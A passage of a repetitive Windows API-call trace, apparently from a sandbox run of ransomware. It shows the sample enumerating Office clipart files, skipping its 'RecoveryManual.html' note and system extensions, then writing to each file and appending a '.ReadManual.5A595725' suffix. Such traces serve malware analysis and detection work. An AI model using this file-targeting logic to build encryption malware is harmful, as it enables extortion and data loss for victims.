ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105396.WMF", cAlternateFileName="")) returned 1 [0266.341] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105396.WMF" | out: lpString1="J0105396.WMF") returned="J0105396.WMF" [0266.341] lstrcmpiW (lpString1="J0105396.WMF", lpString2="RecoveryManual.html") returned -1 [0266.341] StrStrIW (lpFirst="J0105396.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.341] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.341] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.341] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.341] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.341] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.341] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.341] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.341] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.341] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.341] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.341] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.341] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.341] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.341] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.341] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" [0266.341] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.ReadManual.5A595725" [0266.341] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.ReadManual.5A595725") returned 87 [0266.341] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38700990276) returned 1 [0266.341] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf")) returned 0x20 [0266.341] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.342] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11012) returned 1 [0266.342] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b04, lpName=0x0) returned 0x184 [0266.342] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.342] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.342] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.344] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.344] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b04) returned 0x2f0000 [0266.345] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.345] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38701366645) returned 1 [0266.345] CloseHandle (hObject=0x184) returned 1 [0266.345] SetSecurityInfo () returned 0x57 [0266.345] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.345] CloseHandle (hObject=0x194) returned 1 [0266.345] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105398.WMF", cAlternateFileName="")) returned 1 [0266.345] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105398.WMF" | out: lpString1="J0105398.WMF") returned="J0105398.WMF" [0266.345] lstrcmpiW (lpString1="J0105398.WMF", lpString2="RecoveryManual.html") returned -1 [0266.345] StrStrIW (lpFirst="J0105398.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.345] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.345] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.345] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.345] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.345] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.345] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.346] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.346] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.346] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.346] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.346] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.346] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.346] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.346] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.346] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" [0266.346] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.ReadManual.5A595725" [0266.346] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.ReadManual.5A595725") returned 87 [0266.346] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38701462604) returned 1 [0266.346] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf")) returned 0x20 [0266.347] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.347] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3328) returned 1 [0266.347] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x184 [0266.347] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.348] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.348] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.350] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.350] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x2f0000 [0266.350] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.350] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38701883428) returned 1 [0266.350] CloseHandle (hObject=0x184) returned 1 [0266.350] SetSecurityInfo () returned 0x57 [0266.350] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.350] CloseHandle (hObject=0x194) returned 1 [0266.350] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4fdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105410.WMF", cAlternateFileName="")) returned 1 [0266.350] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105410.WMF" | out: lpString1="J0105410.WMF") returned="J0105410.WMF" [0266.350] lstrcmpiW (lpString1="J0105410.WMF", lpString2="RecoveryManual.html") returned -1 [0266.350] StrStrIW (lpFirst="J0105410.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.351] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.351] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.351] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.351] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.351] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.351] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.351] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.351] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.351] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.351] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.351] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.351] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.351] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.351] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.351] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" [0266.351] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.ReadManual.5A595725" [0266.351] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.ReadManual.5A595725") returned 87 [0266.351] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38701979109) returned 1 [0266.351] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf")) returned 0x20 [0266.351] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.351] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20444) returned 1 [0266.352] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4fdc, lpName=0x0) returned 0x184 [0266.352] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.352] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.352] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.354] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.354] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4fdc) returned 0x2f0000 [0266.354] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.354] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38702310899) returned 1 [0266.354] CloseHandle (hObject=0x184) returned 1 [0266.354] SetSecurityInfo () returned 0x57 [0266.355] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.355] CloseHandle (hObject=0x194) returned 1 [0266.355] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105412.WMF", cAlternateFileName="")) returned 1 [0266.355] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105412.WMF" | out: lpString1="J0105412.WMF") returned="J0105412.WMF" [0266.355] lstrcmpiW (lpString1="J0105412.WMF", lpString2="RecoveryManual.html") returned -1 [0266.355] StrStrIW (lpFirst="J0105412.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.355] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.355] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.355] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.355] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.355] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.355] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.355] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.355] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.355] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.355] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.355] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.355] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.355] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.355] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.355] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" [0266.355] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.ReadManual.5A595725" [0266.355] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.ReadManual.5A595725") returned 87 [0266.355] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38702407694) returned 1 [0266.355] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf")) returned 0x20 [0266.356] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.356] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9400) returned 1 [0266.356] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24b8, lpName=0x0) returned 0x184 [0266.356] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.357] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.357] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.358] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.358] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24b8) returned 0x2f0000 [0266.359] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.359] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38702777533) returned 1 [0266.359] CloseHandle (hObject=0x184) returned 1 [0266.359] SetSecurityInfo () returned 0x57 [0266.359] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.359] CloseHandle (hObject=0x194) returned 1 [0266.359] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1864, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105414.WMF", cAlternateFileName="")) returned 1 [0266.359] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105414.WMF" | out: lpString1="J0105414.WMF") returned="J0105414.WMF" [0266.359] lstrcmpiW (lpString1="J0105414.WMF", lpString2="RecoveryManual.html") returned -1 [0266.359] StrStrIW (lpFirst="J0105414.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.359] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.359] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.360] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.360] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.360] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.360] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.360] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.360] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.360] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.360] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.360] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.360] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.360] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.360] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.360] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" [0266.360] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.ReadManual.5A595725" [0266.360] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.ReadManual.5A595725") returned 87 [0266.360] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38702879603) returned 1 [0266.360] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf")) returned 0x20 [0266.360] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.360] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6244) returned 1 [0266.361] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1864, lpName=0x0) returned 0x184 [0266.361] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.361] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.361] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.363] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.363] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1864) returned 0x2f0000 [0266.363] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.363] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38703211719) returned 1 [0266.363] CloseHandle (hObject=0x184) returned 1 [0266.363] SetSecurityInfo () returned 0x57 [0266.364] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.364] CloseHandle (hObject=0x194) returned 1 [0266.364] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105490.WMF", cAlternateFileName="")) returned 1 [0266.364] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105490.WMF" | out: lpString1="J0105490.WMF") returned="J0105490.WMF" [0266.364] lstrcmpiW (lpString1="J0105490.WMF", lpString2="RecoveryManual.html") returned -1 [0266.364] StrStrIW (lpFirst="J0105490.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.364] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.364] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.364] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.364] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.364] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.364] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.364] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.364] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.364] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.364] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.364] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.364] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.364] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.364] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.364] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft 